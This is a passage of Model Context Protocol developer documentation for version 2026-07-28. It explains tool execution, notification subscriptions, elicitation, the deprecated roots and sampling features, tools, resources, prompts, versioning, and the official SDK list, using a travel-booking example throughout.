tools_response = await client.list_tools()
available_tools.extend(tools_response.tools)
conversation.register_available_tools(available_tools)
```
Clients that federate many servers can use [progressive tool discovery](/docs/2026-07-28/develop/clients/client-best-practices#progressive-tool-discovery) rather than loading every tool upfront.
The client can now execute a tool using the `tools/call` method. This demonstrates how MCP primitives are used in practice: after discovering available tools, the client can invoke them with appropriate arguments.
#### Understanding the Tool Execution Request
The `tools/call` request follows a structured format that ensures type safety and clear communication between client and server. Note that we're using the proper tool name from the discovery response (`weather_current`) rather than a simplified name:
```json Tool Call Request theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "weather_current",
"arguments": {
"location": "San Francisco",
"units": "imperial"
},
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "example-client",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}
}
}
}
}
```
```json Tool Call Response theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Current weather in San Francisco: 68°F, partly cloudy with light winds from the west at 8 mph. Humidity: 65%"
}
]
}
}
```
#### Key Elements of Tool Execution
The request structure includes several important components:
1. **`name`**: Must match exactly the tool name from the discovery response (`weather_current`). This ensures the server can correctly identify which tool to execute.
2. **`arguments`**: Contains the input parameters as defined by the tool's `inputSchema`. In this example:
* `location`: "San Francisco" (required parameter)
* `units`: "imperial" (optional parameter, defaults to "metric" if not specified)
3. **`_meta`**: Carries the standard per-request fields: the protocol version and client capabilities that every MCP request must include, plus the client's identity, which clients should include unless configured not to.
4. **JSON-RPC Structure**: Uses standard JSON-RPC 2.0 format with unique `id` for request-response correlation.
#### Understanding the Tool Execution Response
The response demonstrates MCP's flexible content system:
1. **`content` Array**: Tool responses return an array of content objects, allowing for rich, multi-format responses (text, images, resources, etc.)
2. **Content Types**: Each content object has a `type` field. In this example, `"type": "text"` indicates plain text content, but MCP supports various content types for different use cases.
3. **Structured Output**: The response provides actionable information that the AI application can use as context for language model interactions.
This execution pattern allows AI applications to dynamically invoke server functionality and receive structured responses that can be integrated into conversations with language models.
#### How This Works in AI Applications
When the language model decides to use a tool during a conversation, the AI application intercepts the tool call, routes it to the appropriate MCP server, executes it, and returns the results back to the LLM as part of the conversation flow. This enables the LLM to access real-time data and perform actions in the external world.
```python theme={null}
# Pseudo-code for AI application tool execution
async def handle_tool_call(conversation, tool_name, arguments):
client = app.find_mcp_client_for_tool(tool_name)
result = await client.call_tool(tool_name, arguments)
conversation.add_tool_result(result.content)
```
MCP supports real-time notifications that enable servers to inform clients about changes without being polled for them. This demonstrates the notification system, a key feature that keeps clients synchronized and responsive.
#### Subscribing to Changes
Change notifications are opt-in. To receive them, the client opens a long-lived notification stream by sending a [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) request with a `notifications` filter naming the event types it wants. Here the client asks for tool list changes:
```json Listen Request theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"method": "subscriptions/listen",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "example-client",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}
}
},
"notifications": {
"toolsListChanged": true
}
}
}
```
Every client request carries the `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` fields in `_meta`, and normally `io.modelcontextprotocol/clientInfo` as well, so the server can identify the client without relying on connection state.
The server acknowledges the subscription with `notifications/subscriptions/acknowledged`, which is the first message carrying that subscription's ID in `_meta` (the server sends no other notification for that subscription before it). Its `notifications` field reflects the subset of the requested filter the server agreed to honor, with unsupported notification types omitted:
```json Acknowledgment theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/subscriptions/acknowledged",
"params": {
"_meta": {
"io.modelcontextprotocol/subscriptionId": 4
},
"notifications": {
"toolsListChanged": true
}
}
}
```
#### Understanding Tool List Change Notifications
After the acknowledgment, when the server's available tools change (for example, when new functionality becomes available, existing tools are modified, or tools become temporarily unavailable), the server delivers a notification on that stream:
```json Notification theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tools/list_changed",
"params": {
"_meta": {
"io.modelcontextprotocol/subscriptionId": 4
}
}
}
```
#### Key Features of MCP Notifications
1. **No Response Required**: Notice there's no `id` field in the notification. This follows JSON-RPC 2.0 notification semantics where no response is expected or sent.
2. **Opt-In Based**: This notification is only sent to clients that requested `"toolsListChanged": true` in their `subscriptions/listen` filter, and it is only available from servers that declared `"listChanged": true` in their tools capability (as shown in Step 1).
3. **Subscription-ID Tagging**: Every notification on the stream carries `io.modelcontextprotocol/subscriptionId` in `_meta`. The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream (`4` in this example), so clients can correlate each notification with the subscription that produced it.
4. **Event-Driven**: The server decides when to send notifications based on internal state changes, making MCP connections dynamic and responsive.
5. **Best Effort**: There are no guarantees that every notification will be sent or received, particularly across transport reconnects. Clients should also rely on polling to preserve freshness of results.
#### Client Response to Notifications
Upon receiving this notification, the client typically reacts by requesting the updated tool list. This creates a refresh cycle that keeps the client's understanding of available tools current:
```json Request theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"method": "tools/list",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "example-client",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}
}
}
}
}
```
#### Why Notifications Matter
This notification system is crucial for several reasons:
1. **Dynamic Environments**: Tools may come and go based on server state, external dependencies, or user permissions
2. **Efficiency**: Clients don't need to poll for changes; they're notified when updates occur
3. **Consistency**: Ensures clients always have accurate information about available server capabilities
4. **Real-time Collaboration**: Enables responsive AI applications that can adapt to changing contexts
This notification pattern extends beyond tools to other MCP primitives, enabling comprehensive real-time synchronization between clients and servers.
#### How This Works in AI Applications
The AI application keeps a notification stream open for the changes it cares about. When one arrives, it immediately refreshes its tool registry and updates the LLM's available capabilities. This ensures that ongoing conversations always have access to the most current set of tools, and the LLM can dynamically adapt to new functionality as it becomes available.
```python theme={null}
# Pseudo-code for AI application notification handling
async def follow_tool_changes(client):
async with client.listen(tools_list_changed=True) as sub:
async for _event in sub:
tools_response = await client.list_tools()
app.update_available_tools(client, tools_response.tools)
if app.conversation.is_active():
app.conversation.notify_llm_of_new_capabilities()
```
# Understanding MCP clients
Source: https://modelcontextprotocol.io/docs/2026-07-28/learn/client-concepts
MCP clients are instantiated by host applications to communicate with particular MCP servers. The host application, like Claude.ai or an IDE, manages the overall user experience and coordinates multiple clients. Each client handles one direct communication with one server.
Understanding the distinction is important: the *host* is the application users interact with, while *clients* are the protocol-level components that enable server connections.
## Core Client Features
In addition to making use of context provided by servers, clients may provide several features to servers. These client features allow server authors to build richer interactions.
| Feature | Explanation | Example |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| **Elicitation** | Elicitation enables servers to request specific information from users during interactions, providing a structured way for servers to gather information on demand. | A server booking travel may ask for the user's preferences on airplane seats, room type or their contact number to finalize a booking. |
| **Roots** | Roots allow clients to specify which directories servers should focus on, communicating intended scope through a coordination mechanism. Roots are [deprecated](/specification/2026-07-28/deprecated) as of protocol version `2026-07-28`. | A server for booking travel may be given access to a specific directory, from which it can read a user's calendar. |
| **Sampling** | Sampling allows servers to request LLM completions through the client, enabling an agentic workflow. This approach puts the client in complete control of user permissions and security measures. Sampling is deprecated as of protocol version `2026-07-28`. | A server for booking travel may send a list of flights to an LLM and request that the LLM pick the best flight for the user. |
### Elicitation
Elicitation enables servers to request specific information from users during interactions, creating more dynamic and responsive workflows.
#### Overview
Elicitation provides a structured way for servers to gather necessary information on demand. Instead of requiring all information up front or failing when data is missing, servers can pause their operations to request specific inputs from users. This creates more flexible interactions where servers adapt to user needs rather than following rigid patterns.
Elicitation supports two modes:
* **Form mode**: The server asks the client to collect structured data from the user. The request includes a schema that the client uses to build an input form and validate the response.
* **URL mode**: The server provides a URL for the user to open. The interaction happens out of band and its data never passes through the client, which makes this mode suitable for sensitive flows such as credential entry or third-party OAuth authorization.
Elicitation follows the [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) (MRTR) pattern. When a server needs user input while processing a request such as `tools/call`, it responds with an `InputRequiredResult` whose `inputRequests` field carries one or more `elicitation/create` requests. The client gathers the input and retries the original request, attaching the collected `inputResponses` and echoing back any `requestState` the server included.
**Elicitation flow:**
```mermaid theme={null}
sequenceDiagram
participant User
participant Client
participant Server
Client->>Server: tools/call (id: 1)
Note over Server: Server needs more information
Server-->>Client: InputRequiredResult with elicitation/create request
Note over Client,User: Human interaction
Client->>User: Present elicitation UI
User-->>Client: Provide requested information
Note over Client,Server: Retry request with user input
Client->>Server: tools/call (id: 2, inputResponses)
Note over Server: Continue processing with new information
Server-->>Client: Final result
```
The flow enables dynamic information gathering. Servers can request specific data when needed, users provide information through appropriate UI, and servers complete the retried request with the newly acquired context.
**Elicitation request example (delivered inside `InputRequiredResult.inputRequests`):**
```typescript theme={null}
{
method: "elicitation/create",
params: {
mode: "form",
message: "Please confirm your Barcelona vacation booking details:",
requestedSchema: {
type: "object",
properties: {
confirmBooking: {
type: "boolean",
description: "Confirm the booking (Flights + Hotel = $3,000)"
},
seatPreference: {
type: "string",
enum: ["window", "aisle", "no preference"],
description: "Preferred seat type for flights"
},
roomType: {
type: "string",
enum: ["sea view", "city view", "garden view"],
description: "Preferred room type at hotel"
},
travelInsurance: {
type: "boolean",
default: false,
description: "Add travel insurance ($150)"
}
},
required: ["confirmBooking"]
}
}
}
```
#### Example: Holiday Booking Approval
A travel booking server demonstrates elicitation's power through the final booking confirmation process. When a user has selected their ideal vacation package to Barcelona, the server needs to gather final approval and any missing details before proceeding.
The server elicits booking confirmation with a structured request that includes the trip summary (Barcelona flights June 15-22, beachfront hotel, total \$3,000) and fields for any additional preferences—such as seat selection, room type, or travel insurance options.
As the booking progresses, the server elicits contact information needed to complete the reservation. It might ask for traveler details for flight bookings, special requests for the hotel, or emergency contact information.
#### User Interaction Model
Elicitation interactions are designed to be clear, contextual, and respectful of user autonomy:
**Request presentation**: Clients display elicitation requests with clear context about which server is asking, why the information is needed, and how it will be used. The request message explains the purpose while the schema provides structure and validation.
**Response options**: Users can provide the requested information through appropriate UI controls (text fields, dropdowns, checkboxes), decline to provide information with optional explanation, or cancel the entire operation. Clients validate responses against the provided schema before returning them to servers.
**URL handling**: For URL mode, clients show the full URL and gather explicit consent before opening it, and never fetch the URL automatically. The client only learns whether the user consented. The interaction itself stays between the user and the target site.
**Privacy considerations**: Servers must not use form mode to request sensitive information such as passwords, API keys, access tokens, or payment credentials. Those interactions belong in URL mode, which keeps the data out of band so it never passes through the client or the LLM context. Clients warn about suspicious requests and let users review form data before sending.
### Roots
Roots are [deprecated](/specification/2026-07-28/deprecated) as of protocol
version `2026-07-28` and scheduled for removal. New implementations should
pass directories or files via tool parameters, resource URIs, or server
configuration instead.
Roots define filesystem boundaries for server operations, allowing clients to specify which directories servers should focus on.
#### Overview
Roots are a mechanism for clients to communicate filesystem access boundaries to servers. They consist of file URIs that indicate directories where servers can operate, helping servers understand the scope of available files and folders. While roots communicate intended boundaries, they do not enforce security restrictions. Actual security must be enforced at the operating system level, via file permissions and/or sandboxing.
**Root structure:**
```json theme={null}
{
"uri": "file:///Users/agent/travel-planning",
"name": "Travel Planning Workspace"
}
```
Roots are exclusively filesystem paths and always use the `file://` URI scheme. They help servers understand project boundaries, workspace organization, and accessible directories. The roots list can change as users work with different projects or folders. Servers pick up the updated boundaries the next time they request the roots list.
#### Example: Travel Planning Workspace
A travel agent working with multiple client trips benefits from roots to organize filesystem access. Consider a workspace with different directories for various aspects of travel planning.
The client provides filesystem roots to the travel planning server:
* `file:///Users/agent/travel-planning` - Main workspace containing all travel files
* `file:///Users/agent/travel-templates` - Reusable itinerary templates and resources
* `file:///Users/agent/client-documents` - Client passports and travel documents
When the agent creates a Barcelona itinerary, well-behaved servers respect these boundaries—accessing templates, saving the new itinerary, and referencing client documents within the specified roots. Servers typically access files within roots by using relative paths from the root directories or by utilizing file search tools that respect the root boundaries.
If the agent opens an archive folder like `file:///Users/agent/archive/2023-trips`, the client adds it to the roots list, and the server sees the new boundary on its next `roots/list` request.
For a complete implementation of a server that respects roots, see the [filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem) in the official servers repository.
#### Design Philosophy
Roots serve as a coordination mechanism between clients and servers, not a security boundary. The specification requires that servers "SHOULD respect root boundaries," and not that they "MUST enforce" them, because servers run code the client cannot control.
Roots work best when servers are trusted or vetted, users understand their advisory nature, and the goal is preventing accidents rather than stopping malicious behavior. They excel at context scoping (telling servers where to focus), accident prevention (helping well-behaved servers stay in bounds), and workflow organization (such as managing project boundaries automatically).
#### User Interaction Model
Roots are typically managed automatically by host applications based on user actions, though some applications may expose manual root management:
**Automatic root detection**: When users open folders, clients automatically expose them as roots. Opening a travel workspace allows the client to expose that directory as a root, helping servers understand which itineraries and documents are in scope for the current work.
**Manual root configuration**: Advanced users can specify roots through configuration. For example, adding `/travel-templates` for reusable resources while excluding directories with financial records.
### Sampling
Sampling is [deprecated](/specification/2026-07-28/deprecated) as of protocol
version `2026-07-28` and scheduled for removal. New implementations should
integrate directly with LLM provider APIs instead.
Sampling allows servers to request language model completions through the client, enabling agentic behaviors while maintaining security and user control.
#### Overview
Sampling enables servers to perform AI-dependent tasks without directly integrating with or paying for AI models. Instead, servers can request that the client—which already has AI model access—handle these tasks on their behalf. This approach puts the client in complete control of user permissions and security measures. Because sampling requests occur within the context of other operations—like a tool analyzing data—and are processed as separate model calls, they maintain clear boundaries between different contexts, allowing for more efficient use of the context window.
Sampling follows the same [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) flow described under [elicitation](#elicitation), with the `InputRequiredResult` carrying a `sampling/createMessage` request.
Servers can also request tool use during sampling by including a `tools` array and an optional `toolChoice` field in the request. The tool definitions are scoped to that sampling request and do not need to correspond to tools the server exposes. Clients declare support through the `sampling.tools` capability, and servers must not send tool-enabled sampling requests to clients that have not declared it. See [sampling](/specification/2026-07-28/client/sampling#tools-in-sampling) in the specification for details.
**Sampling flow:**
```mermaid theme={null}
sequenceDiagram
participant LLM
participant User
participant Client
participant Server
Client->>Server: tools/call (id: 1)
Note over Server: Server needs an LLM completion
Server-->>Client: InputRequiredResult with sampling/createMessage request
Note over Client,User: Human-in-the-loop review
Client->>User: Present request for approval
User-->>Client: Review and approve/modify
Note over Client,LLM: Model interaction
Client->>LLM: Forward approved request
LLM-->>Client: Return generation
Note over Client,User: Response review
Client->>User: Present response for approval
User-->>Client: Review and approve/modify
Note over Client,Server: Retry request with approved response
Client->>Server: tools/call (id: 2, inputResponses)
Server-->>Client: Final result
```
The flow ensures security through multiple human-in-the-loop checkpoints. Users review and can modify both the initial request and the generated response before the client retries the original request with it.
**Request parameters example:**
```typescript theme={null}
{
messages: [
{
role: "user",
content: {
type: "text",
text: "Analyze these flight options and recommend the best choice:\n" +
"[47 flights with prices, times, airlines, and layovers]\n" +
"User preferences: morning departure, max 1 layover"
}
}
],
modelPreferences: {
hints: [{
name: "claude-sonnet-4-20250514" // Suggested model
}],
costPriority: 0.3, // Less concerned about API cost
speedPriority: 0.2, // Can wait for thorough analysis
intelligencePriority: 0.9 // Need complex trade-off evaluation
},
systemPrompt: "You are a travel expert helping users find the best flights based on their preferences",
maxTokens: 1500
}
```
#### Example: Flight Analysis Tool
Consider a travel booking server with a tool called `findBestFlight` that uses sampling to analyze available flights and recommend the optimal choice. When a user asks "Book me the best flight to Barcelona next month," the tool needs AI assistance to evaluate complex trade-offs.
The tool queries airline APIs and gathers 47 flight options. It then requests AI assistance to analyze these options: "Analyze these flight options and recommend the best choice: \[47 flights with prices, times, airlines, and layovers] User preferences: morning departure, max 1 layover."
The client initiates the sampling request, allowing the AI to evaluate trade-offs—like cheaper red-eye flights versus convenient morning departures. The tool uses this analysis to present the top three recommendations.
#### User Interaction Model
While not a requirement, sampling is designed to allow human-in-the-loop control. Users can maintain oversight through several mechanisms:
**Approval controls**: Sampling requests may require explicit user consent. Clients can show what the server wants to analyze and why. Users can approve, deny, or modify requests.
**Transparency features**: Clients can display the exact prompt, model selection, and token limits, allowing users to review AI responses before they return to the server.
**Configuration options**: Users can set model preferences, configure auto-approval for trusted operations, or require approval for everything. Clients may provide options to redact sensitive information.
**Security considerations**: Both clients and servers must handle sensitive data appropriately during sampling. Clients should implement rate limiting and validate all message content. The human-in-the-loop design ensures that server-requested AI interactions cannot compromise security or access sensitive data without explicit user consent.
# Understanding MCP servers
Source: https://modelcontextprotocol.io/docs/2026-07-28/learn/server-concepts
MCP servers are programs that expose specific capabilities to AI applications through standardized protocol interfaces.
Common examples include file system servers for document access, database servers for data queries, GitHub servers for code management, Slack servers for team communication, and calendar servers for scheduling.
## Core Server Features
Servers provide functionality through three building blocks:
| Feature | Explanation | Examples | Who controls it |
| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | --------------- |
| **Tools** | Functions that your LLM can actively call, and decides when to use them based on user requests. Tools can write to databases, call external APIs, modify files, or trigger other logic. | Search flights Send messages Create calendar events | Model |
| **Resources** | Passive data sources that provide read-only access to information for context, such as file contents, database schemas, or API documentation. | Retrieve documents Access knowledge bases Read calendars | Application |
| **Prompts** | Pre-built instruction templates that tell the model to work with specific tools and resources. | Plan a vacation Summarize my meetings Draft an email | User |
We will use a hypothetical scenario to demonstrate the role of each of these features, and show how they can work together.
### Tools
Tools enable AI models to perform actions. Each tool defines a specific operation with typed inputs and outputs. The model requests tool execution based on context.
#### How Tools Work
Tools are schema-defined interfaces that LLMs can invoke. MCP uses JSON Schema for validation. Each tool performs a single operation with clearly defined inputs and outputs. Tools may require user consent prior to execution, helping to ensure users maintain control over actions taken by a model.
**Protocol operations:**
| Method | Purpose | Returns |
| ------------ | ------------------------ | -------------------------------------- |
| `tools/list` | Discover available tools | Array of tool definitions with schemas |
| `tools/call` | Execute a specific tool | Tool execution result |
**Example tool definition:**
```typescript theme={null}
{
name: "searchFlights",
description: "Search for available flights",
inputSchema: {
type: "object",
properties: {
origin: { type: "string", description: "Departure city" },
destination: { type: "string", description: "Arrival city" },
date: { type: "string", format: "date", description: "Travel date" }
},
required: ["origin", "destination", "date"]
}
}
```
#### Example: Travel Booking
Tools enable AI applications to perform actions on behalf of users. In a travel planning scenario, the AI application might use several tools to help book a vacation:
**Flight Search**
```
searchFlights(origin: "NYC", destination: "Barcelona", date: "2024-06-15")
```
Queries multiple airlines and returns structured flight options.
**Calendar Blocking**
```
createCalendarEvent(title: "Barcelona Trip", startDate: "2024-06-15", endDate: "2024-06-22")
```
Marks the travel dates in the user's calendar.
**Email notification**
```
sendEmail(to: "team@work.com", subject: "Out of Office", body: "...")
```
Sends an automated out-of-office message to colleagues.
#### User Interaction Model
Tools are model-controlled, meaning AI models can discover and invoke them automatically. However, MCP emphasizes human oversight through several mechanisms.
For trust and safety, applications can implement user control through various mechanisms, such as:
* Displaying available tools in the UI, enabling users to define whether a tool should be made available in specific interactions
* Approval dialogs for individual tool executions
* Permission settings for pre-approving certain safe operations
* Activity logs that show all tool executions with their results
### Resources
Resources provide structured access to information that the AI application can retrieve and provide to models as context.
#### How Resources Work
Resources expose data from files, APIs, databases, or any other source that an AI needs to understand context. Applications can access this information directly and decide how to use it - whether that's selecting relevant portions, searching with embeddings, or passing it all to the model.
Each resource has a unique URI (e.g., `file:///path/to/document.md`) and declares its MIME type for appropriate content handling.
Resources support two discovery patterns:
* **Direct Resources** - fixed URIs that point to specific data. Example: `calendar://events/2024` - returns calendar availability for 2024
* **Resource Templates** - dynamic URIs with parameters for flexible queries. Example:
* `travel://activities/{city}/{category}` - returns activities by city and category
* `travel://activities/barcelona/museums` - returns all museums in Barcelona
Resource Templates include metadata such as title, description, and expected MIME type, making them discoverable and self-documenting.
**Protocol operations:**
| Method | Purpose | Returns |
| -------------------------- | ------------------------------- | -------------------------------------- |
| `resources/list` | List available direct resources | Array of resource descriptors |
| `resources/templates/list` | Discover resource templates | Array of resource template definitions |
| `resources/read` | Retrieve resource contents | Resource data with metadata |
| `subscriptions/listen` | Monitor resource changes | Stream of update notifications |
To watch specific resources for changes, a client sends a [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) request with the resource URIs listed in the `resourceSubscriptions` filter. The server delivers `notifications/resources/updated` on the resulting stream whenever a watched resource changes.
#### Example: Getting Travel Planning Context
Continuing with the travel planning example, resources provide the AI application with access to relevant information:
* **Calendar data** (`calendar://events/2024`) - Checks user availability
* **Travel documents** (`file:///Documents/Travel/passport.pdf`) - Accesses important documents
* **Previous itineraries** (`trips://history/barcelona-2023`) - References past trips and preferences
The AI application retrieves these resources and decides how to process them, whether selecting a subset of data using embeddings or keyword search, or passing raw data directly to the model.
In this case, it provides calendar data, weather information, and travel preferences to the model, enabling it to check availability, look up weather patterns, and reference past travel preferences.
**Resource Template Examples:**
```json theme={null}
{
"uriTemplate": "weather://forecast/{city}/{date}",
"name": "weather-forecast",
"title": "Weather Forecast",
"description": "Get weather forecast for any city and date",
"mimeType": "application/json"
}
{
"uriTemplate": "travel://flights/{origin}/{destination}",
"name": "flight-search",
"title": "Flight Search",
"description": "Search available flights between cities",
"mimeType": "application/json"
}
```
These templates enable flexible queries. For weather data, users can access forecasts for any city/date combination. For flights, they can search routes between any two airports. When a user has input "NYC" as the `origin` airport and begins to input "Bar" as the `destination` airport, the system can suggest "Barcelona (BCN)" or "Barbados (BGI)".
#### Parameter Completion
Dynamic resources support parameter completion. For example:
* Typing "Par" as input for `weather://forecast/{city}` might suggest "Paris" or "Park City"
* Typing "JFK" for `flights://search/{airport}` might suggest "JFK - John F. Kennedy International"
The system helps discover valid values without requiring exact format knowledge.
#### User Interaction Model
Resources are application-driven, giving them flexibility in how they retrieve, process, and present available context. Common interaction patterns include:
* Tree or list views for browsing resources in familiar folder-like structures
* Search and filter interfaces for finding specific resources
* Automatic context inclusion or smart suggestions based on heuristics or AI selection
* Manual or bulk selection interfaces for including single or multiple resources
Applications are free to implement resource discovery through any interface pattern that suits their needs. The protocol doesn't mandate specific UI patterns, allowing for resource pickers with preview capabilities, smart suggestions based on current conversation context, bulk selection for including multiple resources, or integration with existing file browsers and data explorers.
### Prompts
Prompts provide reusable templates. They allow MCP server authors to provide parameterized prompts for a domain, or showcase how to best use the MCP server.
#### How Prompts Work
Prompts are structured templates that define expected inputs and interaction patterns. They are user-controlled, requiring explicit invocation rather than automatic triggering. Prompts can be context-aware, referencing available resources and tools to create comprehensive workflows. Similar to resources, prompts support parameter completion to help users discover valid argument values.
**Protocol operations:**
| Method | Purpose | Returns |
| -------------- | -------------------------- | ------------------------------------- |
| `prompts/list` | Discover available prompts | Array of prompt descriptors |
| `prompts/get` | Retrieve prompt details | Full prompt definition with arguments |
#### Example: Streamlined Workflows
Prompts provide structured templates for common tasks. In the travel planning context:
**"Plan a vacation" prompt:**
```json theme={null}
{
"name": "plan-vacation",
"title": "Plan a vacation",
"description": "Guide through vacation planning process",
"arguments": [
{ "name": "destination", "type": "string", "required": true },
{ "name": "duration", "type": "number", "description": "days" },
{ "name": "budget", "type": "number", "required": false },
{ "name": "interests", "type": "array", "items": { "type": "string" } }
]
}
```
Rather than unstructured natural language input, the prompt system enables:
1. Selection of the "Plan a vacation" template
2. Structured input: Barcelona, 7 days, \$3000, \["beaches", "architecture", "food"]
3. Consistent workflow execution based on the template
#### User Interaction Model
Prompts are user-controlled, requiring explicit invocation. The protocol gives implementers freedom to design interfaces that feel natural within their application. Key principles include:
* Easy discovery of available prompts
* Clear descriptions of what each prompt does
* Natural argument input with validation
* Transparent display of the prompt's underlying template
Applications typically expose prompts through various UI patterns such as:
* Slash commands (typing "/" to see available prompts like /plan-vacation)
* Command palettes for searchable access
* Dedicated UI buttons for frequently used prompts
* Context menus that suggest relevant prompts
## Bringing Servers Together
The real power of MCP emerges when multiple servers work together, combining their specialized capabilities through a unified interface.
### Example: Multi-Server Travel Planning
Consider a personalized AI travel planner application, with three connected servers:
* **Travel Server** - Handles flights, hotels, and itineraries
* **Weather Server** - Provides climate data and forecasts
* **Calendar/Email Server** - Manages schedules and communications
#### The Complete Flow
1. **User invokes a prompt with parameters:**
```json theme={null}
{
"prompt": "plan-vacation",
"arguments": {
"destination": "Barcelona",
"departure_date": "2024-06-15",
"return_date": "2024-06-22",
"budget": 3000,
"travelers": 2
}
}
```
2. **User selects resources to include:**
* `calendar://my-calendar/June-2024` (from Calendar Server)
* `travel://preferences/europe` (from Travel Server)
* `travel://past-trips/Spain-2023` (from Travel Server)
3. **AI processes the request using tools:**
The AI first reads all selected resources to gather context - identifying available dates from the calendar, learning preferred airlines and hotel types from travel preferences, and discovering previously enjoyed locations from past trips.
Using this context, the AI then executes the prompt provided by the AI application. In our example, the AI application exposes the weather tools from the connected MCP weather server to the model. Because weather can affect travel plans, the AI chooses to call `checkWeather()` when interpreting the prompt.
As a result the AI executes a series of tools:
* `searchFlights()` - Queries airlines for NYC to Barcelona flights
* `checkWeather()` - Retrieves climate forecasts for travel dates
The AI then uses this information to create the booking and following steps, requesting approval from the user where necessary:
* `bookHotel()` - Finds hotels within the specified budget
* `createCalendarEvent()` - Adds the trip to the user's calendar
* `sendEmail()` - Sends confirmation with trip details
**The result:** Through multiple MCP servers, the user researched and booked a Barcelona trip tailored to their schedule. The "Plan a Vacation" prompt guided the AI to combine Resources (calendar availability and travel history) with Tools (searching flights, booking hotels, updating calendars) across different servers—gathering context and executing the booking. A task that could have taken hours was completed in minutes using MCP.
# Versioning
Source: https://modelcontextprotocol.io/docs/2026-07-28/learn/versioning
The Model Context Protocol uses string-based version identifiers following the format
`YYYY-MM-DD`, to indicate the last date backwards incompatible changes were made.
The protocol version will *not* be incremented when the
protocol is updated, as long as the changes maintain backwards compatibility. This allows
for incremental improvements while preserving interoperability.
## Revisions
Revisions may be marked as:
* **Draft**: in-progress specifications, not yet ready for consumption.
* **Current**: the current protocol version, which is ready for use and may continue to
receive backwards compatible changes.
* **Final**: past, complete specifications that will not be changed.
The **current** protocol version is [**2026-07-28**](/specification/2026-07-28/).
## Feature States
Individual features of the specification may additionally be marked as
**Deprecated** under the
[feature lifecycle and deprecation policy](/community/feature-lifecycle):
the feature remains part of the specification, but is scheduled for removal.
Deprecated features document a migration path (or state that none is required)
and remain in the specification for at least twelve months, or at least
ninety days under the policy's
[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
before they become eligible for removal, after which they may be **Removed**
in a future revision.
Features that are currently Deprecated are listed in the
[deprecated features registry](/specification/2026-07-28/deprecated).
## Negotiation
Every request declares the protocol version it is using via the
`io.modelcontextprotocol/protocolVersion` key in its
[`_meta`](/specification/2026-07-28/basic/index#meta) field, and the server accepts or
rejects each request independently. On Streamable HTTP, the same value is also carried
in the
[`MCP-Protocol-Version` header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header).
Clients and servers **MAY** support multiple protocol versions simultaneously.
If the server does not support the requested version, it responds with an
[`UnsupportedProtocolVersionError`](/specification/2026-07-28/basic/versioning#protocol-version-negotiation)
listing the versions it does support. The client can then retry the request with a
mutually supported version, or surface an error to the user if none exists.
Clients that want to select a version up front can call
[`server/discover`](/specification/2026-07-28/server/discover), a mandatory RPC that
returns the server's supported protocol versions, capabilities, and identity in a
single request. Calling it is optional: a client is free to send any request directly
and handle a version error if one comes back.
For interoperability with servers and clients that implement the
handshake-based protocol revisions (`2025-11-25` and earlier), see
[Backward Compatibility](/specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions).
# SDKs
Source: https://modelcontextprotocol.io/docs/2026-07-28/sdk
Official SDKs for building with Model Context Protocol
Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
## Available SDKs
| SDK | Repository | Tier |
| :------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | --------------------: |
| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 2 |
| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
